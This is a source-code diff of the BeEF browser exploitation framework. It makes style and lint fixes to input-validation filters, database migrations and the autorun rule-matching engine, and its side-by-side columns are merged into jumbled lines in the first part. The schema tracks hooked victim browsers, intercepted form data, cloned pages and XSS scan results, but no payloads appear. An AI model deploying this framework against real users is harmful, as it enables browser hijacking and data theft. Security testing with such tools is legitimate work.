def self.is_valid_browserversion?(str) def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
return true if str.eql? "UNKNOWN" return false if str.length < 2
return true if str.eql? "ALL"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 20
true
end
# Verify the os version string is valid true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str)
return false if str.length > 20
true
end
# Verify the browser/UA string is valid # Verify the browser version string is valid
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters # @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserstring?(str) def self.is_valid_browserversion?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false if has_non_printable_char?(str)
return false if str.length > 300 return true if str.eql? 'UNKNOWN'
true return true if str.eql? 'ALL'
end return false if !nums_only?(str) && !str.match(/\A(0|[1-9][0-9]{0,3})(\.(0|[1-9][0-9]{0,3})){0,3}\z/)
return false if str.length > 20
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the system platform is valid true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the date stamp is valid # Verify the os version string is valid
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters # @return [Boolean] If the string has valid os version characters
def self.is_valid_date_stamp?(str) def self.is_valid_osversion?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false if has_non_printable_char?(str)
return false if str.length > 200 return true if str.eql? 'UNKNOWN'
true return true if str.eql? 'ALL'
end return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)
return false if str.length > 20
# Verify the CPU type string is valid true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the memory string is valid # Verify the browser/UA string is valid
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters # @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_memory?(str) def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
return false if str.length > 200 return false if str.length > 300
true
end
# Verify the GPU type string is valid true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid # Verify the cookies are valid
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters # @return [Boolean] If the string has valid cookie characters
# @note This string can be empty if there are no browser plugins def self.is_valid_cookies?(str) # rubocop:disable Naming/PredicatePrefix
# @todo Verify if the ruby version statement is still necessary return false unless is_non_empty_string?(str)
def self.is_valid_browser_plugins?(str) return false if has_non_printable_char?(str)
return false unless is_non_empty_string?(str) return false if str.length > 2000
return false if str.length > 1000
if str.encoding === Encoding.find('UTF-8') true
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil? end
else
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil? # Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false unless has_valid_browser_details_chars?(str)
return false if str.length > 200
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if str.encoding == Encoding.find('UTF-8') # Style/CaseEquality: Avoid the use of the case equality operator `===`.
(str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
(str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
end
end end
end end
end
end end

View File

@@ -1,67 +1,71 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Filters module Filters
# Check if the string is a valid path from a HTTP request
# Check if the string is a valid path from a HTTP request # @param [String] str String for testing
# @param [String] str String for testing # @return [Boolean] If the string has valid path characters
# @return [Boolean] If the string has valid path characters def self.is_valid_path_info?(str)
def self.is_valid_path_info?(str) return false if str.nil?
return false if str.nil? return false unless str.is_a? String
return false unless str.is_a? String return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
true
end
# Check if the session id valid true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
# Check if valid command module datastore key # Check if the session id valid
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters # @return [Boolean] If the string has valid hook session id characters
def self.is_valid_command_module_datastore_key?(str) def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str) return false unless has_valid_key_chars?(str)
true
end
# Check if valid command module datastore value true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and some punc chars # Check if valid command module datastore key
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid key characters # @return [Boolean] If the string has valid command module datastore key characters
def self.has_valid_key_chars?(str) def self.is_valid_command_module_datastore_key?(str)
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str) return false unless has_valid_key_chars?(str)
true
end
# Check for word and underscore chars true
# @param [String] str String for testing end
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_\:]/).nil?
true
end
end # Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_:]/).nil?
true
end
end
end end

View File

@@ -1,61 +1,62 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Filters module Filters
# Verify the hostname string is valid
# Verify the hostname string is valid # @param [String] str String for testing
# @param [String] str String for testing # @return [Boolean] If the string is a valid hostname
# @return [Boolean] If the string is a valid hostname def self.is_valid_hostname?(str)
def self.is_valid_hostname?(str) return false unless is_non_empty_string?(str)
return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str) return false if str.length > 255
return false if str.length > 255 return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil?
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
true true
end
def self.is_valid_verb?(verb)
%w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true unless uri.nil?
# OPTIONS * is not yet supported
# return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
# return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/\r+/, '')
['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/\r+/, '')
return true if 'Host:'.eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != '/'
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => /
while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end end
def self.is_valid_verb?(verb)
["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true if !uri.nil?
# OPTIONS * is not yet supported
#return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
#return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/[\r]+/,"")
["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/[\r]+/,"")
return true if "Host:".eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != ?/
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r'/\.(?:/|\Z)', '/'); end # /. => /
while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
end end

View File

@@ -1,30 +1,30 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Filters module Filters
# Verify the page title string is valid
# Verify the page title string is valid # @param [String] str String for testing
# @param [String] str String for testing # @return [Boolean] If the string is a valid page title
# @return [Boolean] If the string is a valid page title def self.is_valid_pagetitle?(str)
def self.is_valid_pagetitle?(str) return false unless str.is_a? String
return false unless str.is_a? String return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str) return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
true
end
# Verify the page referrer string is valid true
# @param [String] str String for testing end
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str) # Verify the page referrer string is valid
return false unless str.is_a? String # @param [String] str String for testing
return false if has_non_printable_char?(str) # @return [Boolean] If the string is a valid referrer
return false if str.length > 350 def self.is_valid_pagereferrer?(str)
true return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
end
end end
end
end end

View File

@@ -1,16 +1,15 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module HBManager module HBManager
# Get hooked browser by session id # Get hooked browser by session id
# @param [String] sid hooked browser session id string # @param [String] sid hooked browser session id string
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_session(sid) def self.get_by_session(sid)
BeEF::Core::Models::HookedBrowser.where(:session => sid).first BeEF::Core::Models::HookedBrowser.where(session: sid).first
end end
# Get hooked browser by id # Get hooked browser by id
@@ -19,6 +18,5 @@ module BeEF
def self.get_by_id(id) def self.get_by_id(id)
BeEF::Core::Models::HookedBrowser.find(id) BeEF::Core::Models::HookedBrowser.find(id)
end end
end end
end end

View File

@@ -1,6 +1,6 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #

View File

@@ -1,6 +1,6 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
@@ -12,8 +12,8 @@ module BeEF
attr_writer :logger attr_writer :logger
def logger def logger
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log| @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = self.name log.progname = name
log.level = Logger::WARN log.level = Logger::WARN
end end
end end

View File

@@ -1,12 +1,8 @@
class CreateCommandModules < ActiveRecord::Migration[6.0] class CreateCommandModules < ActiveRecord::Migration[6.0]
def change
def change create_table :command_modules do |t|
t.text :name
create_table :command_modules do |t| t.text :path
t.text :name end
t.text :path end
end
end
end end

View File

@@ -1,19 +1,15 @@
class CreateHookedBrowsers < ActiveRecord::Migration[6.0] class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
def change
def change create_table :hooked_browsers do |t|
t.text :session
create_table :hooked_browsers do |t| t.text :ip
t.text :session t.text :firstseen
t.text :ip t.text :lastseen
t.text :firstseen t.text :httpheaders
t.text :lastseen t.text :domain
t.text :httpheaders t.integer :port
t.text :domain t.integer :count
t.integer :port t.boolean :is_proxy
t.integer :count end
t.boolean :is_proxy end
end
end
end end

View File

@@ -1,14 +1,10 @@
class CreateLogs < ActiveRecord::Migration[6.0] class CreateLogs < ActiveRecord::Migration[6.0]
def change
def change create_table :logs do |t|
t.text :logtype
create_table :logs do |t| t.text :event
t.text :logtype t.datetime :date
t.text :event t.references :hooked_browser
t.datetime :date end
t.references :hooked_browser end
end
end
end end

View File

@@ -1,16 +1,12 @@
class CreateCommands < ActiveRecord::Migration[6.0] class CreateCommands < ActiveRecord::Migration[6.0]
def change
def change create_table :commands do |t|
t.references :command_module
create_table :commands do |t| t.references :hooked_browser
t.references :command_module t.text :data
t.references :hooked_browser t.datetime :creationdate
t.text :data t.text :label
t.datetime :creationdate t.boolean :instructions_sent, default: false
t.text :label end
t.boolean :instructions_sent, default: false end
end
end
end end

View File

@@ -1,15 +1,11 @@
class CreateResults < ActiveRecord::Migration[6.0] class CreateResults < ActiveRecord::Migration[6.0]
def change
def change create_table :results do |t|
t.references :command
create_table :results do |t| t.references :hooked_browser
t.references :command t.datetime :date
t.references :hooked_browser t.integer :status
t.datetime :date t.text :data
t.integer :status end
t.text :data end
end
end
end end

View File

@@ -1,12 +1,8 @@
class CreateOptionCaches < ActiveRecord::Migration[6.0] class CreateOptionCaches < ActiveRecord::Migration[6.0]
def change
def change create_table :option_caches do |t|
t.text :name
create_table :option_caches do |t| t.text :value
t.text :name end
t.text :value end
end
end
end end

View File

@@ -1,13 +1,9 @@
class CreateBrowserDetails < ActiveRecord::Migration[6.0] class CreateBrowserDetails < ActiveRecord::Migration[6.0]
def change
def change create_table :browser_details do |t|
t.text :session_id
create_table :browser_details do |t| t.text :detail_key
t.text :session_id t.text :detail_value
t.text :detail_key end
t.text :detail_value end
end
end
end end

View File

@@ -1,18 +1,14 @@
class CreateExecutions < ActiveRecord::Migration[6.0] class CreateExecutions < ActiveRecord::Migration[6.0]
def change
def change create_table :executions do |t|
t.text :session_id
create_table :executions do |t| t.integer :mod_count
t.text :session_id t.integer :mod_successful
t.integer :mod_count t.text :mod_body
t.integer :mod_successful t.text :exec_time
t.text :mod_body t.text :rule_token
t.text :exec_time t.boolean :is_sent
t.text :rule_token t.integer :rule_id
t.boolean :is_sent end
t.integer :rule_id end
end
end
end end

View File

@@ -1,20 +1,16 @@
class CreateRules < ActiveRecord::Migration[6.0] class CreateRules < ActiveRecord::Migration[6.0]
def change
def change create_table :rules do |t|
t.text :name
create_table :rules do |t| t.text :author
t.text :name t.text :browser
t.text :author t.text :browser_version
t.text :browser t.text :os
t.text :browser_version t.text :os_version
t.text :os t.text :modules
t.text :os_version t.text :execution_order
t.text :modules t.text :execution_delay
t.text :execution_order t.text :chain_mode
t.text :execution_delay end
t.text :chain_mode end
end
end
end end

View File

@@ -1,12 +1,8 @@
class CreateInterceptor < ActiveRecord::Migration[6.0] class CreateInterceptor < ActiveRecord::Migration[6.0]
def change
def change create_table :interceptors do |t|
t.text :ip
create_table :interceptors do |t| t.text :post_data
t.text :ip end
t.text :post_data end
end
end
end end

View File

@@ -1,12 +1,8 @@
class CreateWebCloner < ActiveRecord::Migration[6.0] class CreateWebCloner < ActiveRecord::Migration[6.0]
def change
def change create_table :web_cloners do |t|
t.text :uri
create_table :web_cloners do |t| t.text :mount
t.text :uri end
t.text :mount end
end
end
end end

View File

@@ -1,11 +0,0 @@
class CreateMassMailer < ActiveRecord::Migration[6.0]
def change
create_table :mass_mailers do |t|
#todo fields
end
end
end

View File

@@ -1,17 +1,13 @@
class CreateNetworkHost < ActiveRecord::Migration[6.0] class CreateNetworkHost < ActiveRecord::Migration[6.0]
def change
def change create_table :network_hosts do |t|
t.references :hooked_browser
create_table :network_hosts do |t| t.text :ip
t.references :hooked_browser t.text :hostname
t.text :ip t.text :ntype
t.text :hostname t.text :os
t.text :ntype t.text :mac
t.text :os t.text :lastseen
t.text :mac end
t.text :lastseen end
end
end
end end

View File

@@ -1,15 +1,11 @@
class CreateNetworkService < ActiveRecord::Migration[6.0] class CreateNetworkService < ActiveRecord::Migration[6.0]
def change
def change create_table :network_services do |t|
t.references :hooked_browser
create_table :network_services do |t| t.text :proto
t.references :hooked_browser t.text :ip
t.text :proto t.text :port
t.text :ip t.text :ntype
t.text :port end
t.text :ntype end
end
end
end end

View File

@@ -1,44 +1,40 @@
class CreateHttp < ActiveRecord::Migration[6.0] class CreateHttp < ActiveRecord::Migration[6.0]
def change
def change create_table :https do |t|
t.text :hooked_browser_id
create_table :https do |t| # The http request to perform. In clear text.
t.text :hooked_browser_id t.text :request
# The http request to perform. In clear text. # Boolean value as string to say whether cross-origin requests are allowed
t.text :request t.boolean :allow_cross_origin, default: true
# Boolean value as string to say whether cross-domain requests are allowed # The http response body received. In clear text.
t.boolean :allow_cross_domain, :default => true t.text :response_data
# The http response body received. In clear text. # The http response code. Useful to handle cases like 404, 500, 302, ...
t.text :response_data t.integer :response_status_code
# The http response code. Useful to handle cases like 404, 500, 302, ... # The http response code. Human-readable code: success, error, ecc..
t.integer :response_status_code t.text :response_status_text
# The http response code. Human-readable code: success, error, ecc.. # The port status. closed, open or not http
t.text :response_status_text t.text :response_port_status
# The port status. closed, open or not http # The XHR Http response raw headers
t.text :response_port_status t.text :response_headers
# The XHR Http response raw headers # The http response method. GET or POST.
t.text :response_headers t.text :method
# The http response method. GET or POST. # The content length for the request.
t.text :method t.text :content_length, default: 0
# The content length for the request. # The request protocol/scheme (http/https)
t.text :content_length, :default => 0 t.text :proto
# The request protocol/scheme (http/https) # The domain on which perform the request.
t.text :proto t.text :domain
# The domain on which perform the request. # The port on which perform the request.
t.text :domain t.text :port
# The port on which perform the request. # Boolean value to say if the request was cross-origin
t.text :port t.text :has_ran, default: 'waiting'
# Boolean value to say if the request was cross-domain # The path of the request.
t.text :has_ran, :default => "waiting" # Example: /secret.html
# The path of the request. t.text :path
# Example: /secret.html # The date at which the http response has been saved.
t.text :path t.datetime :response_date
# The date at which the http response has been saved. # The date at which the http request has been saved.
t.datetime :response_date t.datetime :request_date
# The date at which the http request has been saved. end
t.datetime :request_date end
end
end
end end

View File

@@ -1,13 +1,9 @@
class CreateRtcStatus < ActiveRecord::Migration[6.0] class CreateRtcStatus < ActiveRecord::Migration[6.0]
def change
def change create_table :rtc_statuss do |t|
t.references :hooked_browser
create_table :rtc_statuss do |t| t.integer :target_hooked_browser_id
t.references :hooked_browser t.text :status
t.integer :target_hooked_browser_id end
t.text :status end
end
end
end end

View File

@@ -1,13 +1,9 @@
class CreateRtcManage < ActiveRecord::Migration[6.0] class CreateRtcManage < ActiveRecord::Migration[6.0]
def change
def change create_table :rtc_manages do |t|
t.references :hooked_browser
create_table :rtc_manages do |t| t.text :message
t.references :hooked_browser t.text :has_sent, default: 'waiting'
t.text :message end
t.text :has_sent, default: "waiting" end
end
end
end end

View File

@@ -1,14 +1,10 @@
class CreateRtcSignal < ActiveRecord::Migration[6.0] class CreateRtcSignal < ActiveRecord::Migration[6.0]
def change
def change create_table :rtc_signals do |t|
t.references :hooked_browser
create_table :rtc_signals do |t| t.integer :target_hooked_browser_id
t.references :hooked_browser t.text :signal
t.integer :target_hooked_browser_id t.text :has_sent, default: 'waiting'
t.text :signal end
t.text :has_sent, default: "waiting" end
end
end
end end

View File

@@ -1,14 +1,10 @@
class CreateRtcModuleStatus < ActiveRecord::Migration[6.0] class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
def change
def change create_table :rtc_module_statuss do |t|
t.references :hooked_browser
create_table :rtc_module_statuss do |t| t.references :command_module
t.references :hooked_browser t.integer :target_hooked_browser_id
t.references :command_module t.text :status
t.integer :target_hooked_browser_id end
t.text :status end
end
end
end end

View File

@@ -1,14 +1,10 @@
class CreateXssraysDetail < ActiveRecord::Migration[6.0] class CreateXssraysDetail < ActiveRecord::Migration[6.0]
def change
def change create_table :xssraysdetails do |t|
t.references :hooked_browser
create_table :xssraysdetails do |t| t.text :vector_name
t.references :hooked_browser t.text :vector_method
t.text :vector_name t.text :vector_poc
t.text :vector_method end
t.text :vector_poc end
end
end
end end

View File

@@ -1,14 +1,10 @@
class CreateDnsRule < ActiveRecord::Migration[6.0] class CreateDnsRule < ActiveRecord::Migration[6.0]
def change
def change create_table :dns_rules do |t|
t.text :pattern
create_table :dns_rules do |t| t.text :resource
t.text :pattern t.text :response
t.text :resource t.text :callback
t.text :response end
t.text :callback end
end
end
end end

View File

@@ -1,13 +0,0 @@
class CreateIpecExploit < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploits do |t|
t.text :name
t.text :protocol
t.text :os
end
end
end

View File

@@ -1,13 +0,0 @@
class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploit_runs do |t|
t.boolean :launched
t.text :http_headers
t.text :junk_size
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateAutoloader < ActiveRecord::Migration[6.0] class CreateAutoloader < ActiveRecord::Migration[6.0]
def change
def change create_table :autoloaders do |t|
t.references :command
create_table :autoloaders do |t| t.boolean :in_use
t.references :command end
t.boolean :in_use end
end
end
end end

View File

@@ -1,18 +1,14 @@
class CreateXssraysScan < ActiveRecord::Migration[6.0] class CreateXssraysScan < ActiveRecord::Migration[6.0]
def change
def change create_table :xssraysscans do |t|
t.references :hooked_browser
create_table :xssraysscans do |t| t.datetime :scan_start
t.references :hooked_browser t.datetime :scan_finish
t.datetime :scan_start t.text :domain
t.datetime :scan_finish t.text :cross_origin
t.text :domain t.integer :clean_timeout
t.text :cross_domain t.boolean :is_started
t.integer :clean_timeout t.boolean :is_finished
t.boolean :is_started end
t.boolean :is_finished end
end
end
end end

View File

@@ -1,14 +1,12 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
module AutorunEngine module AutorunEngine
class Engine class Engine
include Singleton include Singleton
def initialize def initialize
@@ -20,54 +18,264 @@ module BeEF
@debug_on = @config.get('beef.debug') @debug_on = @config.get('beef.debug')
@VERSION = ['<','<=','==','>=','>','ALL'] @VERSION = ['<', '<=', '==', '>=', '>', 'ALL']
@VERSION_STR = ['XP','Vista'] @VERSION_STR = %w[XP Vista 7]
end
# Checks if there are any ARE rules to be triggered for the specified hooked browser.
#
# Returns an array with rule IDs that matched and should be triggered.
# if rule_id is specified, checks will be executed only against the specified rule (useful
# for dynamic triggering of new rulesets ar runtime)
def find_matching_rules_for_zombie(browser, browser_version, os, os_version)
rules = BeEF::Core::Models::Rule.all
return if rules.nil?
return if rules.empty?
# TODO: handle cases where there are multiple ARE rules for the same hooked browser.
# maybe rules need to have priority or something?
print_info '[ARE] Checking if any defined rules should be triggered on target.'
match_rules = []
rules.each do |rule|
next unless zombie_matches_rule?(browser, browser_version, os, os_version, rule)
match_rules.push(rule.id)
print_more("Hooked browser and OS match rule: #{rule.name}.")
end
print_more("Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser.")
match_rules
end
# @return [Boolean]
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
# Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
def zombie_matches_rule?(browser, browser_version, os, os_version, rule)
return false if rule.nil?
unless zombie_browser_matches_rule?(browser, browser_version, rule)
print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : does not match")
return false
end
print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : matched")
unless zombie_os_matches_rule?(os, os_version, rule)
print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): does not match")
return false
end
print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): matched")
true
rescue StandardError => e
print_error e.message
print_debug e.backtrace.join("\n")
end
# @return [Boolean]
# TODO: This should be updated to support matching multiple OS (like the browser check below)
def zombie_os_matches_rule?(os, os_version, rule)
return false if rule.nil?
return false unless rule.os == 'ALL' || os == rule.os
# check if the OS versions match
os_ver_rule_cond = rule.os_version.split(' ').first
return true if os_ver_rule_cond == 'ALL'
return false unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
if os_ver_rule_maj == 'XP'
os_ver_rule_maj = 5
os_ver_rule_min = 0
elsif os_ver_rule_maj == 'Vista'
os_ver_rule_maj = 6
os_ver_rule_min = 0
elsif os_ver_rule_maj == '7'
os_ver_rule_maj = 6
os_ver_rule_min = 0
end
# Most of the times Linux/*BSD OS doesn't return any version
# (TODO: improve OS detection on these operating systems)
if !os_version.nil? && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
# TODO: BUG: This will fail horribly if the target OS is Windows 7 or newer,
# as no version normalization is performed.
# TODO: Update this for every OS since Vista/7 ...
if os_version == 'XP'
os_ver_hook_maj = 5
os_ver_hook_min = 0
